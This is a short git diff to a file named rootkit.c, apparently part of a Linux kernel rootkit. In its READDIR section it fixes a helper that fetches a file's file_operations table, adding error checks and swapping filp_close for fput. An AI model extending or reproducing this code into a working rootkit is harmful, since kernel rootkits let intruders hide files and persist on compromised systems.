diff --git a/rootkit.c b/rootkit.c
index b3994a9..881a96d 100644
--- a/rootkit.c
+++ b/rootkit.c
@@ -636,17 +636,20 @@ void unprotect(void)
 
 // ========== READDIR ==========
 
-
 struct file_operations *get_fop(const char *path)
 {
     struct file *file;
+    struct file_operations *ret = NULL;
 
-    if ((file = filp_open(path, O_RDONLY, 0)) == NULL) {
+    file = filp_open(path, O_RDONLY, 0);
+    if (IS_ERR(file)) {
         return NULL;
     }
 
-    struct file_operations *ret = (struct file_operations *) file->f_op;
-    filp_close(file, 0);
+    ret = (struct file_operations *) file->f_op;
+    
+    // Used fput instead of filp_close.
+    fput(file);
 
     return ret;
 }